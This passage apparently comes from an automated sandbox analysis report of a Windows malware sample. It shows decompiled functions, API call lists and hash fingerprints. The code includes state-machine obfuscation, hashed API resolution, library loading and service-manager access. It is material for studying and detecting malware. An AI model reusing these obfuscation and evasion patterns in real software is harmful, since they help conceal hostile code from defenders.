										goto L44;
									}
									_t104 =  *(_t151 + 4) | 0x00000040;
									goto L43;
								}
							}
							__eflags =  *_t151 - _t132;
							if( *_t151 == _t132) {
								goto L33;
							}
							 *(_t151 + 4) =  *(_t151 + 4) | 0x00000080;
							goto L47;
						}
						 *((intOrPtr*)(_t159 - 4)) = _t132;
						E0114FEB0();
						_t86 = 0;
						__eflags = 0;
						L49:
						return E0114B2E5(_t86);
					}
					_t107 =  *(_t159 - 0x40);
					__eflags = _t107;
					if(_t107 == 0) {
						goto L27;
					}
					_t139 =  *_t107;
					 *(_t159 - 0x1c) = _t139;
					_t108 = _t107 + 4;
					 *((intOrPtr*)(_t159 - 0x28)) = _t108;
					 *(_t159 - 0x20) = _t108 + _t139;
					__eflags = _t139 - 0x800;
					if(_t139 >= 0x800) {
						_t139 = 0x800;
						 *(_t159 - 0x1c) = _t139;
					}
					_t153 = 1;
					__eflags = 1;
					 *(_t159 - 0x30) = 1;
					while(1) {
						__eflags =  *0x116cc24 - _t139; // 0x20
						if(__eflags >= 0) {
							break;
						}
						_push(0x40);
						_push(_t145);
						_t142 = E0114B1BE();
						 *(_t159 - 0x24) = _t142;
						__eflags = _t142;
						if(_t142 != 0) {
							 *(0x116b450 + _t153 * 4) = _t142;
							 *0x116cc24 =  *0x116cc24 + _t145;
							__eflags =  *0x116cc24;
							while(1) {
								__eflags = _t142 -  *(0x116b450 + _t153 * 4) + 0x800;
								if(_t142 >=  *(0x116b450 + _t153 * 4) + 0x800) {
									break;
								}
								 *((short*)(_t142 + 4)) = 0xa00;
								 *_t142 =  *_t142 | 0xffffffff;
								 *((intOrPtr*)(_t142 + 8)) = 0;
								 *(_t142 + 0x24) =  *(_t142 + 0x24) & 0x00000080;
								 *((short*)(_t142 + 0x25)) = 0xa0a;
								 *((intOrPtr*)(_t142 + 0x38)) = 0;
								 *((char*)(_t142 + 0x34)) = 0;
								_t142 = _t142 + 0x40;
								 *(_t159 - 0x24) = _t142;
							}
							_t153 = _t153 + 1;
							 *(_t159 - 0x30) = _t153;
							_t139 =  *(_t159 - 0x1c);
							continue;
						}
						_t139 =  *0x116cc24; // 0x20
						 *(_t159 - 0x1c) = _t139;
						break;
					}
					_t147 = 0;
					 *(_t159 - 0x2c) = 0;
					_t132 = 0xfffffffe;
					_t111 =  *((intOrPtr*)(_t159 - 0x28));
					_t143 =  *(_t159 - 0x20);
					while(1) {
						__eflags = _t147 - _t139;
						if(_t147 >= _t139) {
							goto L28;
						}
						_t154 =  *_t143;
						__eflags = _t154 - 0xffffffff;
						if(_t154 == 0xffffffff) {
							L22:
							_t147 = _t147 + 1;
							 *(_t159 - 0x2c) = _t147;
							_t111 =  *((intOrPtr*)(_t159 - 0x28)) + 1;
							 *((intOrPtr*)(_t159 - 0x28)) = _t111;
							_t143 =  &(_t143[1]);
							 *(_t159 - 0x20) = _t143;
							continue;
						}
						__eflags = _t154 - _t132;
						if(_t154 == _t132) {
							goto L22;
						}
						_t113 =  *_t111;
						__eflags = _t113 & 0x00000001;
						if((_t113 & 0x00000001) == 0) {
							goto L22;
						}
						__eflags = _t113 & 0x00000008;
						if((_t113 & 0x00000008) != 0) {
							L20:
							_t114 = _t147;
							_t158 = ((_t147 & 0x0000001f) << 6) +  *((intOrPtr*)(0x116b450 + (_t114 >> 5) * 4));
							 *(_t159 - 0x24) = _t158;
							 *_t158 =  *_t143;
							 *((char*)(_t158 + 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t159 - 0x28))));
							_t37 = _t158 + 0xc; // 0xd
							E01150420(_t37, 0xfa0, 0);
							_t160 = _t160 + 0xc;
							_t38 = _t158 + 8;
							 *_t38 =  *(_t158 + 8) + 1;
							__eflags =  *_t38;
							_t143 =  *(_t159 - 0x20);
							L21:
							_t139 =  *(_t159 - 0x1c);
							goto L22;
						}
						_t121 = GetFileType(_t154);
						_t143 =  *(_t159 - 0x20);
						__eflags = _t121;
						if(_t121 == 0) {
							goto L21;
						}
						goto L20;
					}
					goto L28;
				}
				_t86 = E01151280(_t159, 0x1169060, _t159 - 0x10, 0xfffffffe) | 0xffffffff;
				goto L49;
			}

APIs

Part of subcall function 01150E7E: EnterCriticalSection.KERNEL32(?,?,0114C32F,0000000D), ref: 01150EA9

@_EH4_CallFilterFunc@8.LIBCMT ref: 0114FC3F
GetStartupInfoW.KERNEL32(?,01167718,00000064,0114A6D9,01167410,00000014), ref: 0114FC98
GetFileType.KERNEL32(00000001), ref: 0114FD2C

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: CallCriticalEnterFileFilterFunc@8InfoSectionStartupType
String ID:
API String ID: 2341069899-0
Opcode ID: 9dc306dc4624afaffd73f29989c283ac4a86c5930e3dac9f6b883625be9ce8b0
Instruction ID: cb1d68f94661a7eb92e29566ab3cd89e00dd1ac9292aea08d29dda71248c5687
Opcode Fuzzy Hash: 9dc306dc4624afaffd73f29989c283ac4a86c5930e3dac9f6b883625be9ce8b0
Instruction Fuzzy Hash: 0D81CE719042578FDB28CF6CC8406ADBBF0AF09B28B24466ED4B6AB3D2D7359443CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0114A63B, Relevance: 7.6, APIs: 5, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t17;
				void* _t18;
				void* _t20;
				void* _t23;
				intOrPtr _t26;
				void* _t29;
				intOrPtr _t31;
				void* _t33;
				signed int _t42;
				void* _t53;
				signed int _t56;
				intOrPtr _t57;
				void* _t58;
				void* _t60;
				void* _t68;

				_t68 = __fp0;
				_t54 = __edi;
				_t53 = __edx;
				E01150216();
				_push(0x14);
				_push(0x1167410);
				E0114B2A0(__ebx, __edi, __esi);
				_t56 = E011503FD() & 0x0000ffff;
				_push(2);
				E011501C9();
				_t60 =  *0x1140000 - 0x5a4d; // 0x5a4d
				if(_t60 == 0) {
					_t17 =  *0x114003c; // 0xf8
					__eflags =  *((intOrPtr*)(_t17 + 0x1140000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0x1140000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0x1140018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0x1140018)) != 0x10b) {
							goto L2;
						} else {
							_t42 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0x1140074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0x1140074)) > 0xe) {
								__eflags =  *(_t17 + 0x11400e8);
								_t6 =  *(_t17 + 0x11400e8) != 0;
								__eflags = _t6;
								_t42 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t42 = 0;
				}
				 *(_t58 - 0x1c) = _t42;
				_t18 = E0114D5D3();
				_t61 = _t18;
				if(_t18 == 0) {
					E0114A795(0x1c);
				}
				_t20 = E0114C399(_t42, _t54, _t61);
				_t21 = _t20;
				_t62 = _t20;
				if(_t20 == 0) {
					_t21 = E0114A795(0x10);
				}
				E011502B2(_t21);
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				_t23 = E0114FC05(_t42, _t54, _t56, _t62); // executed
				if(_t23 < 0) {
					E0114A795(0x1b);
				}
				 *0x116cc3c = GetCommandLineA(); // executed
				_t26 = E011502F2(_t53, _t68); // executed
				 *0x116aa6c = _t26;
				if(E0114FEB9() < 0) {
					_push(8);
					E0114AED6(_t53, _t68);
				}
				if(E011500E8(_t42, _t53, _t54, _t56) < 0) {
					_push(9);
					E0114AED6(_t53, _t68);
				}
				_push(1); // executed
				_t29 = E0114AF10(); // executed
				_t66 = _t29;
				if(_t29 != 0) {
					_push(_t29);
					E0114AED6(_t53, _t68);
				}
				_t31 = E01143BC0(_t42, _t54, _t56, _t66, 0x1140000, 0, E01150760(), _t56); // executed
				_t57 = _t31;
				 *((intOrPtr*)(_t58 - 0x24)) = _t57;
				if(_t42 == 0) {
					E0114B179(_t57);
				}
				E0114AF01();
				 *(_t58 - 4) = 0xfffffffe;
				_t33 = _t57;
				return E0114B2E5(_t33);
			}

0x0114a63b
0x0114a63b
0x0114a63b
0x0114a63b
0x0114a645
0x0114a647
0x0114a64c
0x0114a656
0x0114a659
0x0114a65b
0x0114a666
0x0114a66d
0x0114a673
0x0114a678
0x0114a682
0x00000000
0x0114a684
0x0114a689
0x0114a690
0x00000000
0x0114a692
0x0114a692
0x0114a694
0x0114a69b
0x0114a69d
0x0114a6a3
0x0114a6a3
0x0114a6a3
0x0114a6a3
0x0114a69b
0x0114a690
0x0114a66f
0x0114a66f
0x0114a66f
0x0114a66f
0x0114a6a6
0x0114a6a9
0x0114a6ae
0x0114a6b0
0x0114a6b4
0x0114a6b9
0x0114a6ba
0x0114a6bf
0x0114a6bf
0x0114a6c1
0x0114a6c5
0x0114a6ca
0x0114a6cb
0x0114a6d0
0x0114a6d4
0x0114a6db
0x0114a6df
0x0114a6e4
0x0114a6eb
0x0114a6f0
0x0114a6f5
0x0114a701
0x0114a703
0x0114a705
0x0114a70a
0x0114a712
0x0114a714
0x0114a716
0x0114a71b
0x0114a71c
0x0114a71e
0x0114a724
0x0114a726
0x0114a728
0x0114a729
0x0114a72e
0x0114a73d
0x0114a742
0x0114a744
0x0114a749
0x0114a74c
0x0114a74c
0x0114a751
0x0114a786
0x0114a78e
0x0114a794

APIs

Part of subcall function 011503FD: GetStartupInfoW.KERNEL32(?), ref: 01150407

_fast_error_exit.LIBCMT ref: 0114A6B4
_fast_error_exit.LIBCMT ref: 0114A6C5
_fast_error_exit.LIBCMT ref: 0114A6DF
GetCommandLineA.KERNEL32(01167410,00000014), ref: 0114A6E5

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: _fast_error_exit$CommandInfoLineStartup
String ID:
API String ID: 1043496264-0
Opcode ID: 141121f54f197bf29d6d5076d54db8cd22094ec711394a80ac1ae41703fc7a62
Instruction ID: 67e9950e3ebda1fc19a6fe1a1c4f48e83d365f674e8c44059221db421e3cd0ac
Opcode Fuzzy Hash: 141121f54f197bf29d6d5076d54db8cd22094ec711394a80ac1ae41703fc7a62
Instruction Fuzzy Hash: 7E2123606C03179BEB7CBBF47888B5E26605F68F5EF12442AE6179B0C2EFB5C4408756

Uniqueness

Uniqueness Score: -1.00%

Function 00406D70, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 109
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00406D70() {
				void* _t5;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				struct HINSTANCE__* _t19;
				intOrPtr* _t20;
				intOrPtr* _t22;
				void* _t28;
				intOrPtr _t34;
				intOrPtr _t43;
				void* _t66;
				void* _t67;
				WCHAR* _t69;
				WCHAR* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t5 = 0x2ebe9aae;
				goto L8;
				do {
					while(1) {
						L8:
						_t72 = _t5 - 0x239bce42;
						if(_t72 > 0) {
							break;
						}
						if(_t72 == 0) {
							L1();
							_t5 = 0x36857ba;
							continue;
						} else {
							_t73 = _t5 - 0x16ba1491;
							if(_t73 > 0) {
								__eflags = _t5 - 0x16e5a2a8;
								if(_t5 != 0x16e5a2a8) {
									goto L14;
								} else {
									L1();
									_t5 = 0x2b67093b;
									continue;
								}
							} else {
								if(_t73 == 0) {
									L1();
									_t5 = 0x16e5a2a8;
									continue;
								} else {
									if(_t5 == 0x36857ba) {
										L1();
										_t5 = 0x16ba1491;
										continue;
									} else {
										if(_t5 == 0xc7c1a35) {
											_pop(_t64);
											_pop(_t68);
											_t69 = E00403480(0x40d880);
											__eflags =  *0x40dbac;
											if( *0x40dbac == 0) {
												 *0x40dbac = E00403DA0(_t28, E00403E40(0xef98c369), 0x861270ac, _t71);
											}
											_t19 = LoadLibraryW(_t69);
											_t34 =  *0x40e1dc; // 0xeb2740
											 *(_t34 + 0x2c) = _t19;
											_t20 =  *0x40dddc;
											__eflags = _t20;
											if(_t20 == 0) {
												_t20 = E00403DA0(_t28, E00403E40(0xef98c369), 0x1d0c230b, _t71);
												 *0x40dddc = _t20;
											}
											_t66 =  *_t20();
											_t22 =  *0x40dcc4;
											__eflags = _t22;
											if(_t22 == 0) {
												_t22 = E00403DA0(_t28, E00403E40(0xef98c369), 0x32b05876, _t71);
												 *0x40dcc4 = _t22;
											}
											return  *_t22(_t66, 0, _t69);
										} else {
											goto L14;
										}
									}
								}
							}
						}
						L37:
					}
					__eflags = _t5 - 0x31424c11;
					if(__eflags > 0) {
						__eflags = _t5 - 0x362e8080;
						if(_t5 != 0x362e8080) {
							goto L14;
						} else {
							L1();
							_t5 = 0x31424c11;
							goto L8;
						}
					} else {
						if(__eflags == 0) {
							_t70 = E00403480(0x40d8d0);
							__eflags =  *0x40dbac;
							if( *0x40dbac == 0) {
								 *0x40dbac = E00403DA0(_t28, E00403E40(0xef98c369), 0x861270ac, _t71);
							}
							_t8 = LoadLibraryW(_t70);
							_t43 =  *0x40e1dc; // 0xeb2740
							 *(_t43 + 0x14) = _t8;
							_t9 =  *0x40dddc;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E00403DA0(_t28, E00403E40(0xef98c369), 0x1d0c230b, _t71);
								 *0x40dddc = _t9;
							}
							_t67 =  *_t9();
							_t11 =  *0x40dcc4;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E00403DA0(_t28, E00403E40(0xef98c369), 0x32b05876, _t71);
								 *0x40dcc4 = _t11;
							}
							 *_t11(_t67, 0, _t70);
							_t5 = 0x239bce42;
							goto L8;
						} else {
							__eflags = _t5 - 0x2b67093b;
							if(_t5 == 0x2b67093b) {
								L1();
								_t5 = 0xc7c1a35;
								goto L8;
							} else {
								__eflags = _t5 - 0x2ebe9aae;
								if(_t5 != 0x2ebe9aae) {
									goto L14;
								} else {
									_t5 = 0x362e8080;
									goto L8;
								}
							}
						}
					}
					goto L37;
					L14:
				} while (_t5 != 0x41d89aa);
				return _t5;
				goto L37;
			}

0x00406d71
0x00406d77
0x00406d80
0x00406d80
0x00406d80
0x00406d80
0x00406d85
0x00000000
0x00000000
0x00406d8b
0x00406e05
0x00406e0a
0x00000000
0x00406d8d
0x00406d8d
0x00406d92
0x00406dde
0x00406de3
0x00000000
0x00406de5
0x00406def
0x00406df4
0x00000000
0x00406df4
0x00406d94
0x00406d94
0x00406dd2
0x00406dd7
0x00000000
0x00406d96
0x00406d9b
0x00406dbc
0x00406dc1
0x00000000
0x00406d9d
0x00406da2
0x00406f0f
0x00406f1a
0x00406cd9
0x00406ce0
0x00406ce2
0x00406cfa
0x00406cfa
0x00406d00
0x00406d02
0x00406d08
0x00406d0c
0x00406d11
0x00406d13
0x00406d26
0x00406d2b
0x00406d2b
0x00406d32
0x00406d34
0x00406d39
0x00406d3b
0x00406d4e
0x00406d53
0x00406d53
0x00406d60
0x00000000
0x00000000
0x00000000
0x00406da2
0x00406d9b
0x00406d94
0x00406d92
0x00000000
0x00406d8b
0x00406e14
0x00406e19
0x00406eee
0x00406ef3
0x00000000
0x00406ef9
0x00406f00
0x00406f05
0x00000000
0x00406f05
0x00406e1f
0x00406e1f
0x00406e60
0x00406e67
0x00406e69
0x00406e81
0x00406e81
0x00406e87
0x00406e89
0x00406e8f
0x00406e92
0x00406e97
0x00406e99
0x00406eac
0x00406eb1
0x00406eb1
0x00406eb8
0x00406eba
0x00406ebf
0x00406ec1
0x00406ed4
0x00406ed9
0x00406ed9
0x00406ee2
0x00406ee4
0x00000000
0x00406e21
0x00406e21
0x00406e26
0x00406e47
0x00406e4c
0x00000000
0x00406e28
0x00406e28
0x00406e2d
0x00000000
0x00406e33
0x00406e33
0x00000000
0x00406e33
0x00406e2d
0x00406e26
0x00406e1f
0x00000000
0x00406da8
0x00406da8
0x00406db1
0x00000000

APIs

Part of subcall function 00406CD0: LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00406F05,?,33A6B453,004068AC), ref: 00406D00

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,004068AC), ref: 00406E87

Strings

@', xrefs: 00406E89
;g+, xrefs: 00406E21
;g+, xrefs: 00406DF4

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ;g+$;g+$@'
API String ID: 1029625771-3784101192
Opcode ID: f978782e7036eb41e38833acfbfed8988e1aea48ac21c476837676335bc28a1e
Instruction ID: 4ddf91c6c27470d3019834b7efd6dc0a723a148b4417fedf510a53fc4cf0efaa
Opcode Fuzzy Hash: f978782e7036eb41e38833acfbfed8988e1aea48ac21c476837676335bc28a1e
Instruction Fuzzy Hash: 64318620B082008BDA28BA6D855563F35569FC4304F26843BEA4BFB3C1D93CCC6A579E

Uniqueness

Uniqueness Score: -1.00%

Function 00409530, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00409530() {
				char _v524;
				signed int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t38;
				void* _t41;
				void* _t42;
				void* _t45;
				intOrPtr _t47;
				void* _t50;
				void* _t52;
				void* _t53;
				void* _t58;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t90;
				void* _t102;
				void* _t103;
				intOrPtr _t104;
				void* _t107;
				void* _t108;

				_t72 = 0;
				_t38 = 0x12f6516d;
				_t102 = _v528;
				_t2 = _t72 + 1; // 0x1
				_t104 = _t2;
				goto L1;
				L2:
				if(_t107 == 0) {
					_t50 =  *0x40dddc;
					__eflags = _t50;
					if(_t50 == 0) {
						_t50 = E00403DA0(_t72, E00403E40(0xef98c369), 0x1d0c230b, _t104);
						 *0x40dddc = _t50;
					}
					_t103 =  *_t50();
					_t52 =  *0x40e170; // 0x77e34620
					__eflags = _t52;
					if(_t52 == 0) {
						_t52 = E00403DA0(_t72, E00403E40(0xef98c369), 0xfd509da7, _t104);
						 *0x40e170 = _t52;
					}
					_t53 =  *_t52(_t103, 8, 0x480);
					 *0x40e1e0 = _t53;
					__eflags = _t53;
					if(_t53 == 0) {
						goto L41;
					} else {
						 *((intOrPtr*)(_t53 + 0x254)) = E00407B10;
						_t38 = 0x2336f970;
						goto L1;
					}
				} else {
					_t108 = _t38 - 0xbdfb8a5;
					if(_t108 > 0) {
						__eflags = _t38 - 0xfc94756;
						if(_t38 != 0xfc94756) {
							goto L7;
						} else {
							_v528 = 0x4eca;
							_v528 = _v528 >> 5;
							_v528 = _v528 | 0x14a0d84c;
							_v528 = _v528 + 0xffff8cd3;
							_v528 = _v528 * 0x58;
							_v528 = _v528 >> 5;
							_v528 = _v528 ^ 0x5947c42a;
							_v528 = _v528 << 0xe;
							_v528 = _v528 >> 0xa;
							_v528 = _v528 ^ 0x002d835c;
							_t58 =  *0x40e1e0; // 0xec5e90
							 *((intOrPtr*)(_t58 + 0x258)) = 0x407b00;
							_t38 = 0x2a66bc2;
							goto L1;
						}
					} else {
						if(_t108 == 0) {
							_t59 =  *0x40dbb0;
							__eflags = _t59;
							if(_t59 == 0) {
								_t59 = E00403DA0(_t72, E00403E40(0x52c6bd07), 0x442f18cb, _t104);
								 *0x40dbb0 = _t59;
							}
							 *_t59(_t102);
							_t38 = 0x2a66bc2;
							goto L1;
						} else {
							if(_t38 == 0x2a66bc2) {
								_t73 =  *0x40de04;
								__eflags = _t73;
								if(_t73 == 0) {
									_t73 = E00403DA0(_t72, E00403E40(0xad62407e), 0x76b6dfed, _t104);
									 *0x40de04 = _t73;
								}
								_t62 =  *0x40e1e0; // 0xec5e90
								_t65 =  *_t73(0, _v528, 0, 0, _t62 + 0x270); // executed
								__eflags = _t65;
								_t38 = 0x21c4619d;
								_t72 =  ==  ? _t104 : _t72;
								goto L1;
							} else {
								if(_t38 == 0x941c42f) {
									_t68 =  *0x40de04;
									__eflags = _t68;
									if(_t68 == 0) {
										_t68 = E00403DA0(_t72, E00403E40(0xad62407e), 0x76b6dfed, _t104);
										 *0x40de04 = _t68;
									}
									 *_t68(0, 0x25, 0, 0,  &_v524);
									_t75 =  *0x40e1e0; // 0xec5e90
									_t76 = _t75 + 0x214;
									__eflags = _t75 + 0x214;
									E00403000(_t76);
									L41:
									return _t72;
								} else {
									L7:
									if(_t38 != 0x36ceaedd) {
										while(1) {
											L1:
											_t107 = _t38 - 0x12f6516d;
											if(_t107 > 0) {
												goto L23;
											}
											goto L2;
										}
										goto L23;
									} else {
										return _t72;
									}
								}
							}
						}
					}
				}
				L42:
				L23:
				__eflags = _t38 - 0x2336f970;
				if(__eflags > 0) {
					__eflags = _t38 - 0x2e37bc83;
					if(_t38 != 0x2e37bc83) {
						goto L7;
					} else {
						_v528 = 0xa9c8;
						_t38 = 0xbdfb8a5;
						_v528 = _v528 | 0x2b403779;
						_v528 = _v528 ^ 0x618ad3d4;
						_v528 = _v528 ^ 0x4aca6c04;
						goto L1;
					}
				} else {
					if(__eflags == 0) {
						__eflags =  *0x40dc50;
						if( *0x40dc50 == 0) {
							 *0x40dc50 = E00403DA0(_t72, E00403E40(0x52c6bd07), 0x6b1a81ea, _t104);
						}
						_t41 = OpenSCManagerW(0, 0, 0xf003f); // executed
						_t102 = _t41;
						__eflags = _t102;
						if(_t102 == 0) {
							_t38 = 0xfc94756;
						} else {
							_t42 =  *0x40e1e0; // 0xec5e90
							 *((intOrPtr*)(_t42 + 0x26c)) = _t104;
							_t38 = 0x2e37bc83;
						}
						goto L1;
					} else {
						__eflags = _t38 - 0x18d97bd0;
						if(_t38 == 0x18d97bd0) {
							_t45 =  *0x40dcac;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E00403DA0(_t72, E00403E40(0xef98c369), 0x1f694480, _t104);
								 *0x40dcac = _t45;
							}
							 *_t45(0,  &_v524, 0x104);
							_t47 = E00403C80( &_v536);
							_t90 =  *0x40e1e0; // 0xec5e90
							 *((intOrPtr*)(_t90 + 0x208)) = _t47;
							_t38 = 0x941c42f;
							goto L1;
						} else {
							__eflags = _t38 - 0x21c4619d;
							if(_t38 != 0x21c4619d) {
								goto L7;
							} else {
								E00407950(_t104);
								_t38 = 0x18d97bd0;
								goto L1;
							}
						}
					}
				}
				goto L42;
			}

0x00409538
0x0040953a
0x00409541
0x00409545
0x00409545
0x00409548
0x0040955b
0x0040955b
0x0040967d
0x00409682
0x00409684
0x00409697
0x0040969c
0x0040969c
0x004096a3
0x004096a5
0x004096aa
0x004096ac
0x004096bf
0x004096c4
0x004096c4
0x004096d1
0x004096d3
0x004096d8
0x004096da
0x00000000
0x004096e0
0x004096e0
0x004096ea
0x00000000
0x004096ea
0x00409561
0x00409561
0x00409566
0x00409614
0x00409619
0x00000000
0x0040961f
0x0040961f
0x00409627
0x0040962c
0x00409634
0x00409641
0x00409645
0x0040964a
0x00409652
0x00409657
0x0040965c
0x00409664
0x00409669
0x00409673
0x00000000
0x00409673
0x0040956c
0x0040956c
0x004095e3
0x004095e8
0x004095ea
0x004095fd
0x00409602
0x00409602
0x00409608
0x0040960a
0x00000000
0x0040956e
0x00409573
0x00409594
0x0040959a
0x0040959c
0x004095b4
0x004095b6
0x004095b6
0x004095bc
0x004095d2
0x004095d4
0x004095d6
0x004095db
0x00000000
0x00409575
0x0040957a
0x004097fc
0x00409801
0x00409803
0x00409816
0x0040981b
0x0040981b
0x0040982d
0x0040982f
0x00409835
0x00409835
0x00409840
0x0040984b
0x00409854
0x00409580
0x00409580
0x00409585
0x00409550
0x00409550
0x00409550
0x00409555
0x00000000
0x00000000
0x00000000
0x00409555
0x00000000
0x00409587
0x00409593
0x00409593
0x00409585
0x0040957a
0x00409573
0x0040956c
0x00409566
0x00000000
0x004096f4
0x004096f4
0x004096f9
0x004097c7
0x004097cc
0x00000000
0x004097d2
0x004097d2
0x004097da
0x004097df
0x004097e7
0x004097ef
0x00000000
0x004097ef
0x004096ff
0x004096ff
0x00409778
0x0040977a
0x00409792
0x00409792
0x004097a0
0x004097a2
0x004097a4
0x004097a6
0x004097bd
0x004097a8
0x004097a8
0x004097ad
0x004097b3
0x004097b3
0x00000000
0x00409701
0x00409701
0x00409706
0x00409722
0x00409727
0x00409729
0x0040973c
0x00409741
0x00409741
0x00409752
0x00409758
0x0040975d
0x00409763
0x00409769
0x00000000
0x00409708
0x00409708
0x0040970d
0x00000000
0x00409713
0x00409713
0x00409718
0x00000000
0x00409718
0x0040970d
0x00409706
0x004096ff
0x00000000

APIs

OpenSCManagerW.SECHOST(00000000,00000000,000F003F,?,33A6B453,?,?), ref: 004097A0

Strings

Fw, xrefs: 004096A5, 004096C4
y7@+, xrefs: 004097DF

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: Fw$y7@+
API String ID: 1889721586-2633298806
Opcode ID: 409fccbe965ee2a1e2410321591a957f8efb102def3449ae031c3fc5d8b97b37
Instruction ID: 78e8f001df13b9a35255b12603a61e3ab26cbeb8179fa64498a6573816d0bb29
Opcode Fuzzy Hash: 409fccbe965ee2a1e2410321591a957f8efb102def3449ae031c3fc5d8b97b37
Instruction Fuzzy Hash: 8771CE717043019BD758AF6A9D5572B76A4AB80B04F00083FF145FB3D2EA78DD09CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00409860, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00409860() {
				short _v520;
				void* _v524;
				void* _v528;
				char _v532;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t14;
				intOrPtr* _t16;
				void** _t20;
				intOrPtr* _t22;
				intOrPtr* _t27;
				intOrPtr* _t30;
				void* _t34;
				void* _t38;
				void** _t45;
				void* _t68;
				void* _t69;
				void* _t71;

				_t68 = _v528;
				_t8 = 0x212a148e;
				while(1) {
					L1:
					_t71 = _t8 - 0x212a148e;
					if(_t71 > 0) {
						break;
					}
					if(_t71 == 0) {
						_t8 = 0x3a61ec4d;
						continue;
					} else {
						if(_t8 == 0x21f3859) {
							_t20 =  *0x40e1e4; // 0xeb59c0
							_v528 =  *_t20;
							_t22 =  *0x40ddc0;
							_v524 = _t68;
							if(_t22 == 0) {
								_t22 = E00403DA0(_t38, E00403E40(0xef98c369), 0x6045f21e, _t69);
								 *0x40ddc0 = _t22;
							}
							_push(0xffffffff);
							_push(0);
							_push( &_v528);
							_push(2);
							if( *_t22() == 0) {
								L34:
								return 0;
							} else {
								_t8 =  ==  ? 0xdfa437b : 0x21f3859;
								continue;
							}
						} else {
							if(_t8 == 0xdfa437b) {
								if(E00409A90(_t69) != 0) {
									goto L9;
								} else {
									_t30 =  *0x40dd78; // 0x0
									if(_t30 == 0) {
										_t30 = E00403DA0(_t38, E00403E40(0xef98c369), 0xdedd4089, _t69);
										 *0x40dd78 = _t30;
									}
									 *_t30(_t68);
									goto L16;
								}
								continue;
							} else {
								if(_t8 != 0x100961ed) {
									L29:
									if(_t8 != 0x12e86f5f) {
										continue;
									} else {
										return 0;
									}
								} else {
									if( *0x40e11c == 0) {
										 *0x40e11c = E00403DA0(_t38, E00403E40(0xef98c369), 0x2dcee6cb, _t69);
									}
									_t34 = FindFirstChangeNotificationW( &_v520, 0, 1); // executed
									_t68 = _t34;
									if(E00409A90(_t69) == 0) {
										L16:
										_t8 = 0x21f3859;
									} else {
										L9:
										_t27 =  *0x40e060; // 0x0
										if(_t27 == 0) {
											_t27 = E00403DA0(_t38, E00403E40(0xef98c369), 0x5f51bb6, _t69);
											 *0x40e060 = _t27;
										}
										_t45 =  *0x40e1e4; // 0xeb59c0
										 *_t27( *_t45);
										_t8 = 0x2ee4b347;
									}
									continue;
								}
							}
						}
					}
					L35:
				}
				if(_t8 == 0x2ee4b347) {
					_t9 =  *0x40e0c0; // 0x0
					if(_t9 == 0) {
						_t9 = E00403DA0(_t38, E00403E40(0xef98c369), 0x4b6ce9b4, _t69);
						 *0x40e0c0 = _t9;
					}
